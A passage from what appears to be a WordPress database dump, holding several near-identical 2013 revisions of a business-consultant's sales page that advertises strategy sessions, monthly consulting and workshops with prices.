decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best clients relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey where they seek insight, insspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales revenue in the $5 - $30 million range.', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:41:14', '2013-08-14 01:41:14', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-198/', 0, 'revision', '', 0),
(2460, 2, '2013-08-13 18:30:30', '2013-08-14 01:30:30', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you expontentially improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress toward business growth. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their daily focus is managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em>\r\n\r\n</em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best clients relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey where they seek insight, insspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales revenue in the $5 - $30 million range.', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:30:30', '2013-08-14 01:30:30', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-195/', 0, 'revision', '', 0);
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(2461, 2, '2013-08-13 18:33:15', '2013-08-14 01:33:15', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you expontentially improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n&nbsp;\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best clients relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey where they seek insight, insspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales revenue in the $5 - $30 million range.', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:33:15', '2013-08-14 01:33:15', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-196/', 0, 'revision', '', 0),
(2462, 2, '2013-08-13 18:35:25', '2013-08-14 01:35:25', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you to turn your possibiilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n&nbsp;\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best clients relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey where they seek insight, insspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales revenue in the $5 - $30 million range.', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:35:25', '2013-08-14 01:35:25', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-197/', 0, 'revision', '', 0),
(2464, 2, '2013-08-13 18:45:00', '2013-08-14 01:45:00', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you to turn your possibiilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in the marketplace) in four essential strategic disciplines:\r\n\r\n<strong>Leadership</strong>\r\nExpanding the quality of your presence and influence in the marketplace by elevating your thoughts, clarifying your purpose, enhance your effectiveness, and your contributions to the marketplace.\r\n\r\n<strong>Lifestyle Design</strong>\r\nDeveloping a compelling vision and designing the structure for your total life/business experience based solely on what truly matters to you, leverages your unique talents to serve customers and clients; and enables you to experience greater joy, fulfillment and deep satisfaction.\r\n\r\n<strong>Value Creation</strong>\r\nInnovation and creativity to design and develop your value proposition, products and services in forms that are highly valued by the marketplace.\r\n\r\n<strong>Demand Generation</strong>\r\nExpand your impact, influence and competitive advantage through brand development, marketing, communications, sales and business development strategies that position your business as highly valued by the best customers and clients, and elevates your business from the slush pile of competitors.\r\n<h2>Three strategic consulting options to help you get your business to the next level!</h2>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2456" title="powersession" src="http://whc.fbdev.org/wp-content/uploads/2009/04/powersession.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Power Session Jams</strong>\r\nThe 1-on-1 Power Session Jam is a rent-my-brain-business-life-creative strategy-burn on your best ideas and opportunities to experience your next level of success. We’ll jam on issues currently blocking your business growth– maybe you need to rethink your whole scene, change your market, create higher value products, work with new partners, branding your business properly, get your web presence and social media strategy  happening, or find better clients and customers. Whatever the issue, we’ll quickly get to work helping you gain the clarity and confidence you need to help you break free and get moving in the direction of your desire right from the git go!\r\n<h6><strong>Investment: $500 USD (through PayPal)<em>\r\n</em></strong></h6>\r\n<h3><span style="color: #f87f06;"><em><a title="Book my Power Session" href="mailto://thomson@whitehotcenter.com" target="_blank">Book your Power Session with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2457" title="Quantumleap" src="http://whc.fbdev.org/wp-content/uploads/2009/04/Quantumleap.jpg" alt="" width="492" height="179" />\r\n\r\n<strong>Quantum Leap Business Transformation Consulting</strong>\r\nStrategic consulting tailored to the specific needs and challenges of forward thinking, creative entrepreneurs, solo professionals and small business organizations who are inventing a new business, launching new products or transforming their business for the next level of growth. Through insight, guidance and creativity, we’ll work together to focus on your best opportunities, leverage your personal strengths and effectiveness, and gain more clarity and confidence in the strategic decisions and innovative actions that will effect your impact, influence and success in the marketplace.\r\n<h6>Investment: $2500 USD per month ( 3-month minimum engagement)<em>\r\n</em></h6>\r\n<h3><span style="color: #f87106;"><em><a title="Quantum Leap Consulting" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n\r\n<img class="alignnone size-full wp-image-2458" title="thomsonwhc-workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomsonwhc-workshop.jpg" alt="" width="495" height="249" />\r\n\r\n<strong>One-Day Strategic Business Development Workshop</strong>\r\nThis issue-based, highly facilitated workshop is designed to provide insight, creative thinking, focus and consensus on specific business development or transformation issues you are currently facing. There are five key areas of focus in the workshop to help you build your strategic roadmap and make the right decisions for achievement of your business goals:\r\n\r\n•  To whom you market, identifying high value clients who are the best fit.\r\n\r\n•  Why customers need / buy your products and services..\r\n\r\n•  What makes your offerings highly valued by customers and difficult for them to substitute.\r\n\r\n•  How to effectively express and message your value proposition and brand story in the marketplace.\r\n\r\n•  Creating more value at every touch point  in the value chain with your customers and clients.\r\n\r\nOur workshop program includes pre-assessment of the strategic issues you’re facing, appropriate workshop planning, workshop facilitation, and preparation of an Executive Summary follow-up documenting the insights, hypothesis, and decisions discussed in the workshop session. The Executive Summary is designed as a management and communications tool to inform and guide your next steps.\r\n<h6><strong>Investment: $7,500 USD plus travel expenses<em></em></strong></h6>\r\n<h3><span style="color: #f88406;"><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></span></h3>\r\n&nbsp;\r\n<h2><strong>Why work with me?</strong></h2>\r\n<strong>Three decades of business development expertise.</strong>\r\nI have diverse experience working with hundreds of  clients over 25 years. As an entrepreneur, I also know first-hand the focus and discipline necessary to successfully attract, develop and serve high value clients and customers that represent a bigger future doing the type of work that matters to you and creates sustained financial success. I know the daily challenges and struggles with value creation, business development, managing client/customer expectations, managing staff and collaborators that face all creative entrepreneurs and solo professionals along their way to building a business that brings them joy, deep personal satisfaction and sustanable profit. Allow me to help you create the success you desire!\r\n<h2><strong></strong><strong>Are we a good fit for each other?</strong></h2>\r\n<strong>The attributes common to my best client relationships.</strong>\r\nTo help you determine if my consulting services are a good fit for you, allow me to decribe the attributes common to my best clients relationships. My clients are entrepreneurs, solo professionals, and leaders and teams in small business organizations. All my clients have a high degree of ambition and determination to succeed, and they''re at an inflection point in their journey where they seek insight, insspiration and knowledge to help them elevate their success to the next level. Individual entrepreneurs and professional clients have minimum annual incomes of $150,000+ and are seeking to double and triple that amount. The small buisness organizations I serve have annual sales revenue in the $5 - $30 million range.\r\n<h3><em></em><em><a title="One Day Business Developent Workshop" href="mailto://thomson@whitehotcenter.com" target="_blank">Learn more in a conversation with Thomson.</a></em></h3>', 'Create more impact, influence and income!', 0, '', 'inherit', 'open', 'open', '', '138-revision-v1', '', '', '2013-08-13 18:45:00', '2013-08-14 01:45:00', '', 138, 'http://www.whitehotcenter.com/2013/08/138-revision-199/', 0, 'revision', '', 0),
(2465, 2, '2013-08-13 18:53:03', '2013-08-14 01:53:03', '<h2><img class="alignnone size-full wp-image-1571" title="innovation.cover_" src="http://whc.fbdev.org/wp-content/uploads/2009/04/innovation.cover_.jpg" alt="" width="500" height="265" />\r\n<img class="alignnone size-full wp-image-2365" title="Thomson Facilitating Workshop" src="http://whc.fbdev.org/wp-content/uploads/2009/04/unconference.jpg" alt="" width="495" height="188" /></h2>\r\n<h2>"My passion is helping you to turn your possibiilities into acheivement and improve your current business condition."</h2>\r\n<h6>Thomson Dawson\r\nStrategic Business Transformation Consultant\r\nTo Entrepreneurs and Solo Professionals</h6>\r\n<h2>In one-on-one consulting and group workshop settings, I work exclusively with creative entrepreneurs and solo professionals to inspire, guide and create ideas and strategies to help them gain greater clarity and confidence to pursue their best opportunities to experience more impact, influence and income.</h2>\r\nEvery entrepreneur, at every stage of business growth, will face challenges that block their progress. This is true for those at the beginning of their success journey, and for those whose established business has reached a plateau.\r\n\r\nMost entrepreneurs are heads down working hard in their business. Their days are usually consumed simply managing their current circumstances, few are innovating a strong foundation for their bigger better future.\r\n\r\nMy expertise will guide you and your team to focus on new ideas, strategies and tactics to master both your inner game (innovative and creative thinking), and your outer game (the quality of your presence in 